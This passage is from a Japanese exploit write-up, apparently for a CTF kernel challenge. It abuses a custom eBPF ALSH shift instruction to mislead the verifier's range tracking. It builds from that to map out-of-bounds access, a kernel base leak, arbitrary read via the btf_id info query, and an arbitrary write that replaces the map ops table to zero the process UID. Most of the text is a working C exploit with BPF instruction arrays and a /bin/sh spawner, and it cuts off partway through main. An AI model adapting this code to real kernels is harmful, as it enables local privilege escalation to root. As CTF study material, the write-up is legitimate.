例えば (smin,smax) = (0, 1) であるような場合に左に63bitシフトさせると、 (0, S64_MIN) になる。これを再び右に63bitだけALSHさせると (0, -1) となる。 本来ならばこれは (S64_MIN, S64_MAX) となるべきである。(最初は0bit目の0/1だけがわからなかったが、これが63bit左シフトで符号ビットとなり、再び63bit ARSHすると最初の0bit目が全てのbitに反映されるため)。

 

これを利用して、以下のようなコードでverifierに0だと信じさせて実際には(0,1)であるような値を生成することが可能である。尚、 control_map はARRAYマップであり、定数として0,1を入れておく。

sample-ex.c
/* get cmap[0] */
BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 0)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),			// jmp if r0!=0
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),		// r6 = cmap[0] (==0)

/* get cmap[1] */
BPF_LD_MAP_FD(BPF_REG_1, control_map),        // r1 = cmap
BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),      // qword[r2] = 1
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),      // r7 = cmap[1] (==1)

/* exploit r6 range */
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 3),				// r6 &= 1
BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63),				// r6 s<< 63
BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),				// r6 s>> 63
BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1),					// r7 &= 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),	// r6 += r7
/* now, r6 is regarded as (0,0), but actually have 1 */

これによって、実際には1が入っているR6を、verifierに0と思わせることができるようになった。

 

 

4: OOB

原理

ここまででできていることは、本来1であるレジスタをverifierに0だと思わせることである。この0か1かでLPEされるかどうかが決まるんだから、難しい世の中だよなぁ。

さて、このR6レジスタは実際には1を持っているが、verifierには0だと思われているため任意の定数をかけても0のままである。即ち、任意の値を0と考えさせることができる。以降は、このように生成した「verifierに0とみなされているが実際には任意の値を持っているレジスタ」のことを fake scalar と呼ぶことにする。

これによって、mapのOOB(R/W)が可能である。具体的にはマップのアドレスをレジスタに入れた後で、その中程を指すように加算する。その後fake scalarを任意に加減することで、レジスタはマップの境界外を指すようになる。

 

kernbase leak

これによってマップのアドレスを起点としたOOB(relative read/write)ができる。今回はARRAYを利用しているため、マップは以下のような構造を持っている。

array_structure.sh
pwndbg> p *(struct bpf_array*)0xffff888006644200
$4 = {
  map = {
    ops = 0xffffffff81e168c0 ,
    inner_map_meta = 0x0 ,
    security = 0x0 ,
    map_type = BPF_MAP_TYPE_ARRAY,
    key_size = 4,
    value_size = 8,
    max_entries = 3,
    map_flags = 0,
    spin_lock_off = -22,
    id = 4,
    numa_node = -1,
    btf_key_type_id = 0,
    btf_value_type_id = 0,
    btf = 0x0 ,
    memory = {
      pages = 1,
      user = 0xffff88800662e180
    },
    unpriv_array = true,
    frozen = false,
    refcnt = {
      counter = 2
    },
    usercnt = {
      counter = 1
    },
    work = {
      data = {
        counter = 0
      },
      entry = {
        next = 0x0 ,
        prev = 0x0 
      },
      func = 0x0 
    },
    name = '\000' 
  },
  elem_size = 8,
  index_mask = 3,
  owner_prog_type = BPF_PROG_TYPE_UNSPEC,
  owner_jited = false,
  {
    value = 0xffff8880066442d0 "",
    ptrs = 0xffff8880066442d0,
    pptrs = 0xffff8880066442d0
  }
}

pwndbg> x/90gx 0xffff888006644200
0xffff888006644200:     0xffffffff81e168c0      0x0000000000000000
0xffff888006644210:     0x0000000000000000      0x0000000400000002
0xffff888006644220:     0x0000000300000008      0xffffffea00000000
0xffff888006644230:     0xffffffff00000004      0x0000000000000000
0xffff888006644240:     0x0000000000000000      0xffffc90000000001
0xffff888006644250:     0xffff88800662e180      0x0000000000000001
0xffff888006644260:     0x0000000000000000      0x0000000000000000
0xffff888006644270:     0x0000000000000000      0x0000000000000000
0xffff888006644280:     0x0000000100000002      0x0000000000000000
0xffff888006644290:     0x0000000000000000      0x0000000000000000
0xffff8880066442a0:     0x0000000000000000      0x0000000000000000
0xffff8880066442b0:     0x0000000000000000      0x0000000000000000
0xffff8880066442c0:     0x0000000300000008      0x0000000000000000
0xffff8880066442d0:     0x0000000000000000      0x0000000000000001
0xffff8880066442e0:     0x0000000000000000      0x0000000000000000

ここでマップのデータの内容は bpf_array.value に入っており、 map_lookup_elem() によって取得できるのがこのアドレスである。 map_array->map.ops にはマップのvtableのアドレスが入っているため、これをleakすることでkernbaseをリークすることができる。

 

何故これだけでAAR/Wにならないのか

map自体のアドレスを知る手段がないため、相対R/Wで任意アドレスを指定することができない。あくまでも今できることはmapからのOOBによる相対R/Wだけであり、かつこのmapは動的に取得されるため他のシンボルとのオフセットが不明である。

 

5: AAR

bpf_map_get_info_by_id()@kernel/bpf/syscall.c では以下のように map->btf_id を返してくれる。

syscall.c
	if (map->btf) {
		info.btf_id = btf_id(map->btf);
		info.btf_key_type_id = map->btf_key_type_id;
		info.btf_value_type_id = map->btf_value_type_id;
	}
(snipped...)
	if (copy_to_user(uinfo, &info, info_len) ||
	    put_user(info_len, &uattr->info.info_len))
		return -EFAULT;

struct btf 内の btf.id のオフセットは 88 。よって、 map.bpf の値を target - 88 に書き換えれば、 target の値を読むことができる。

 

6: task traversal

kernbaseがleakできているためAARを用いてtask traversalができる。自分のPIDが見つかるまでtaskの prev を辿っていけばいい。自分のtaskが分かれば自分の struct cred も分かるため、これの uid を0に書き換えるといういつものパターンに帰着する。

 

7: AAW

ここまででAARができているが、肝心のAAWがまだできていない。可能なwriteは今の所OOBによるmap周辺の書き換えだけであり、これによってcredを書き換えなければならない。

先程kernbaseのleakに利用した array_map_ops はmapに対する操作のvtableだが、これを書き換えることで任意の関数を呼び出すことができる。但し、マップ操作の関数テーブルであるから、全てのエントリは第一引数がmapである。よって、他の通常の関数に書き換えても正しく動作することができず、同じvtableの中にあるエントリに書き換えることが望ましい。

ここで参考【A】のZDIの記事を参考にすると、 map_get_next_key() が利用できることが分かる。

arraymap.c
/* Called from syscall */
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
	struct bpf_array *array = container_of(map, struct bpf_array, map);
	u32 index = key ? *(u32 *)key : U32_MAX;
	u32 *next = (u32 *)next_key;

	if (index >= array->map.max_entries) {
		*next = 0;
		return 0;
	}

	if (index == array->map.max_entries - 1)
		return -ENOENT;

	*next = index + 1;
	return 0;
}

ここで next_keycred.uid のアドレスにできればUIDを0クリアすることが可能である。 map_push_elem() エントリを書き換えることでこの目的が達成できる。

map_push_elem.c
int bpf_map_push_elem(struct bpf_map *map, const void *value, u64 flags)

flagsbpf システムコールの呼び出し時に任意の値に設定することができる。

 

制約

bpf_map_push_elem が呼び出されるのは map_update_elem()@kernel/bpf/syscall.c における以下のパスである。

syscall.c
map_update_elem()@kernel/bpf/syscall.c
	} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
		   map->map_type == BPF_MAP_TYPE_STACK) {
		err = map->ops->map_push_elem(map, value, attr->flags);

よって、 map_typeBPF_MAP_TYPE_STACK に変更しておく必要がある。また、このパスに到達するために map.spin_lock_off も0にしておく必要がある。

最後に、 if (index >= array->map.max_entries) の条件を満たすために map.max_entries を0辺りにしておく必要がある。こうすると、最後の next = index + 1; というパスには到達できない(任意の値を書き込むことはできない)が、今やりたいことは0を書くことだけであるため、これで十分である。

あとは map.ops をoverwriteした偽の関数テーブルに差し替えればOKである。

 

8: UID overwrite

上のAAWでUIDを0にしたら、ユーザランドsetresuid(0,0,0) をしてEUIDを0にして終わり。

 

 

 

9: exploit

SMEP,SMAP,KASLR有効。但し自前kernelを用いた。kernel configはGithub参照。

exploit.c
#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/uio.h>

#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))

#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// eebpf
#define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
#define BPF_ALSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_ALSH | BPF_X, DST, SRC, 0, 0)
#define BPF_ALSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_ALSH | BPF_K, DST, 0, 0, IMM)
#define BPF_ALSH64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_ALSH | BPF_X, DST, SRC, 0, 0)
#define BPF_ALSH64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_ALSH | BPF_K, DST, 0, 0, IMM)


/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_REG_CTX     BPF_REG_6
#define BPF_REG_FP      BPF_REG_10

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = (__u32) (IMM) }),                  \
  ((struct bpf_insn) {                          \
    .code  = 0, /* zero is reserved opcode */   \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_MOV64_REG(DST, SRC)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)        \
  ((struct bpf_insn) {                          \
    .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = OFF,                               \
    .imm   = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM)         \
  ((struct bpf_insn) {                          \
    .code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EMIT_CALL(FUNC)                     \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_CALL,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = (FUNC) })
#define BPF_JMP_REG(OP, DST, SRC, OFF)				\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_OP(OP) | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)          \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = OFF,                               \
    .imm   = IMM })
#define BPF_EXIT_INSN()                         \
  ((struct bpf_insn) {                          \
    .code  = BPF_JMP | BPF_EXIT,                \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_LD_ABS(SIZE, IMM)                   \
  ((struct bpf_insn) {                          \
    .code  = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
    .dst_reg = 0,                               \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
    .dst_reg = DST,                             \
    .src_reg = SRC,                             \
    .off   = 0,                                 \
    .imm   = 0 })
#define BPF_MOV64_IMM(DST, IMM)                 \
  ((struct bpf_insn) {                          \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
    .dst_reg = DST,                             \
    .src_reg = 0,                               \
    .off   = 0,                                 \
    .imm   = IMM })

int bpf_(int cmd, union bpf_attr *attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int array_create(int value_size, int num_entries) {
  union bpf_attr create_map_attrs = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = 4,
      .value_size = value_size,
      .max_entries = num_entries
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
  return mapfd;
}

int array_update(int mapfd, uint32_t key, uint64_t value)
{
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (uint64_t)&key,
		.value = (uint64_t)&value,
		.flags = BPF_ANY,
	};
	return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

int array_update_big(int mapfd, uint32_t key, char* value)
{
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (uint64_t)&key,
		.value = value,
		.flags = BPF_ANY,
	};
	return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
}

unsigned long get_ulong(int map_fd, uint64_t idx) {
  uint64_t value;
  union bpf_attr lookup_map_attrs = {
    .map_fd = map_fd,
    .key = (uint64_t)&idx,
    .value = (uint64_t)&value
  };
  if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
    err(1, "MAP_LOOKUP_ELEM");
  return value;
}

int prog_load(struct bpf_insn *insns, size_t insns_count) {
  char verifier_log[100000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = insns_count,
    .insns = (uint64_t)insns,
    .license = (uint64_t)GPLv2,
    .log_level = 2,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  int errno_ = errno;
  //printf("==========================\n%s==========================\n",verifier_log);
  errno = errno_;
  if (progfd == -1)
    err(1, "prog load");
  return progfd;
}

int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
  int progfd = prog_load(insns, insns_count);

  // hook eBPF program up to a socket
  // sendmsg() to the socket will trigger the filter
  // returning 0 in the filter should toss the packet
  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    err(1, "socketpair");
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
    err(1, "setsockopt");
  return socks[1];
}

void trigger_proc(int sockfd) {
  if (write(sockfd, "X", 1) != 1)
    err(1, "write to proc socket failed");
}


/*** globals ***/
int control_map = -1;
int reader_map = -1;
int writer_map = -1;
int reader = -1;
int aar_trigger = -1;
unsigned long bpf_reg_fp = 0;
unsigned long kernbase;
const unsigned long diff_id_btf = 88;
const unsigned long diff_btf_val = 0x90;

unsigned long read_rel(void)
{
	unsigned long tmp = 0;
  if(reader == -1){
    printf("[ERROR] readers are not instantiated.\n");
    return 0;
  }

  array_update(control_map, 0, 0);
  array_update(control_map, 1, 1);
  trigger_proc(reader);

  tmp = get_ulong(control_map, 0);
  //printf("[+] %llx\n", tmp);
  return tmp;
}

unsigned long aar32(unsigned long _target)
{
	_target -= diff_id_btf;

	// overwrite target bpf_map.btf
  array_update(control_map, 0, 0);
  array_update(control_map, 1, 1);
	array_update(control_map, 2, _target);
	trigger_proc(aar_trigger);

	// read it
	struct bpf_map_info leaker;
	union bpf_attr myattr = {
		.info.bpf_fd = reader_map,
		.info.info_len = sizeof(leaker),
		.info.info = &leaker,
	};
	bpf_(BPF_OBJ_GET_INFO_BY_FD, &myattr);
	return leaker.btf_id;
}

unsigned long aar64(unsigned long _target){
	unsigned long lower = aar32(_target);
	unsigned long higher = aar32(_target + 4) << 32;
	return higher + lower;
}

int aaw_done = -1;

unsigned long aaw32zero(unsigned long _target, unsigned int val, unsigned long writer_map_addr)
{
	if(aaw_done != -1){
		printf("[ERROR] aaw32 can be called only once.");
		exit(0);
	}
	aaw_done = 1;
	/*****
	 * ffffffff81e168c0 D array_map_ops
	 * ffffffff81148850 t array_map_get_next_key
	 *
	 * array_map_ops = {
  map_alloc_check = 0xffffffff81148780 ,
  map_alloc = 0xffffffff811491a0 ,
  map_release = 0x0 ,
  map_free = 0xffffffff81148ee0 ,
  map_get_next_key = 0xffffffff81148850 ,
  map_release_uref = 0x0 ,
  map_lookup_elem_sys_only = 0x0 ,
  map_lookup_elem = 0xffffffff811489d0 ,
  map_update_elem = 0xffffffff81148dd0 ,
  map_delete_elem = 0xffffffff81148880 ,
  map_push_elem = 0x0 ,
  map_pop_elem = 0x0 ,
  map_peek_elem = 0x0 ,
  map_fd_get_ptr = 0x0 ,
  map_fd_put_ptr = 0x0 ,
  map_gen_lookup = 0xffffffff81148c60 ,
  map_fd_sys_lookup_elem = 0x0 ,
  map_seq_show_elem = 0xffffffff81148ad0 ,
  map_check_btf = 0xffffffff81148a50 ,
  map_direct_value_addr = 0xffffffff811487e0 ,
  map_direct_value_meta = 0xffffffff81148810 
}
	then, offset of map_push_elem is 0x50.

	*****/
	const unsigned long  target = _target;

  const struct bpf_insn aaw_insns[] = {

    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),      // r6 = cmap[0] (==0)

    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),      // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),      // r7 = cmap[1] (==1)

    /* get cmap[3] == writer map addr */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 3),      // qword[r2] = 2
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 2)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0),      // r9 = cmap[3] (==target addr)

    /* exploit r1 range */
    BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),					// r6 &= 1
    BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63),				// r6 s<< 63
    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),				// r6 s>> 63
		BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1),					// r7 &= 1
		BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),	// r6 += r7
		/* now, r6 is regarded as (0,0), but actually (0, -1) */
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300),			// r6 *= 0x150 (still regarded as 0)

    /* get &writermap */
    BPF_LD_MAP_FD(BPF_REG_1, writer_map),    	// r1 = wmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(rmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),      // r8 = wmap[0]

		/* make point R8 to target */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),				// r8 == &wmap[0] now
		BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xD0),						// r8 == &wmap.map_ops

		/* overwrite map_ops */
		BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

		/* overwrite spin_lock_off to 0 */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 44),						// r8 == &wmap.map.spin_lock_off
		BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0),

		/* overwrite map_type to BPF_MAP_TYPE_STACK */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -44 + 24),			// r8 == &wmap.map.map_type
		BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 23),

		/* oeverwrite map.max_entries to 0 */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 12),			// r8 == &wmap.map.max_entries
		BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0),


    /* Go home */
    BPF_MOV64_IMM(BPF_REG_0, 0),                    // r0 = 0
    BPF_EXIT_INSN()
  };

  int aaw_trigger = create_filtered_socket_fd(aaw_insns, ARRSIZE(aaw_insns));

	// overwrite target bpf_map.btf
  array_update(control_map, 0, 0);
  array_update(control_map, 1, 1);
	array_update(control_map, 2, target);
	array_update(control_map, 3, writer_map_addr);
	trigger_proc(aaw_trigger);

	// overwrite
	const unsigned long key = 10;
	const unsigned long value = 0;	// not used
	union bpf_attr nirugiri = {
		.map_fd = writer_map,
		.key = &key,
		.value = &value,
		.flags = target,
	};
	return bpf_(BPF_MAP_UPDATE_ELEM, &nirugiri);
}

void copy_map_ops(int mapfd, unsigned long addr_map_ops)
{
	printf("[+] copying/overwriting map_ops...\n");
	char *copied_map = calloc(0x700, 1);
	unsigned long *maps = copied_map;
	// copy map_ops
	for(int ix=0; ix!=21; ++ix){
		unsigned long val = aar64(addr_map_ops + 8*ix);
		maps[ix] = val;
	}
	// overwrite map_push_elem with map_get_next_key
	maps[10] = maps[4];

	// load
	array_update_big(mapfd, 0, copied_map);
}

int main(int argc, char *argv[])
{
  control_map = array_create(0x8, 10);	// [0]: always 0 [1]: always 1 [2]: target addr
	reader_map = array_create(0x700, 1);	// for read
	writer_map = array_create(0x700, 1);	// for write

  struct bpf_insn reader_insns[] = {

    /* get cmap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),    // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),      // r6 = cmap[0] (==0)
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),               // r9 = &cmap[0]

    /* get cmap[1] */
    BPF_LD_MAP_FD(BPF_REG_1, control_map),        // r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),      // qword[r2] = 1
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(cmap, 1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),      // r7 = cmap[1] (==1)

    /* exploit r1 range */
    BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 3),					// r6 &= 1
    BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63),				// r6 s<< 63
    BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63),				// r6 s>> 63
		BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1),					// r7 &= 1
		BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7),	// r6 += r7
		/* now, r6 is regarded as (0,0), but actually (0, -1) */
		BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300),			// r6 *= 0x150 (still regarded as 0)

    /* get readermap[0] */
    BPF_LD_MAP_FD(BPF_REG_1, reader_map),    	// r1 = cmap
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP),     // r2 = rbp
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8),  // r2 -= 8
    BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),      // qword[r2] = 0
    BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),  // r0 = map_lookup_elem(rmap, 0)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),    // jmp if r0!=0
    BPF_EXIT_INSN(),
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),      // r8 = &rmap[0]

		/* */
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
		BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),	// r8 == &rmap[0] now
		BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xD0),			// leak array_map_ops

    BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, 0),
    BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_3, 0),	// cmap[0] = array_map_ops

    /* Go home */
    BPF_MOV64_IMM(BPF_REG_0, 0),                    // r0 = 0
    BPF_EXIT_INSN()
  };
  reader = create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));

  // leak kernbase
  const unsigned long _map_array = read_rel();
	printf("[+] map_array: %llx\n", _map_array);
	/***** System.map
	 * ffffffff81000000 T _text
	 * ffffffff81e168c0 D array_map_ops
	 * ffffffff82211780 D init_task
	 * diff array_map_ops, _text = 0xe168c0
	 * diff init_task, _text = 0x1211780
	 *****/
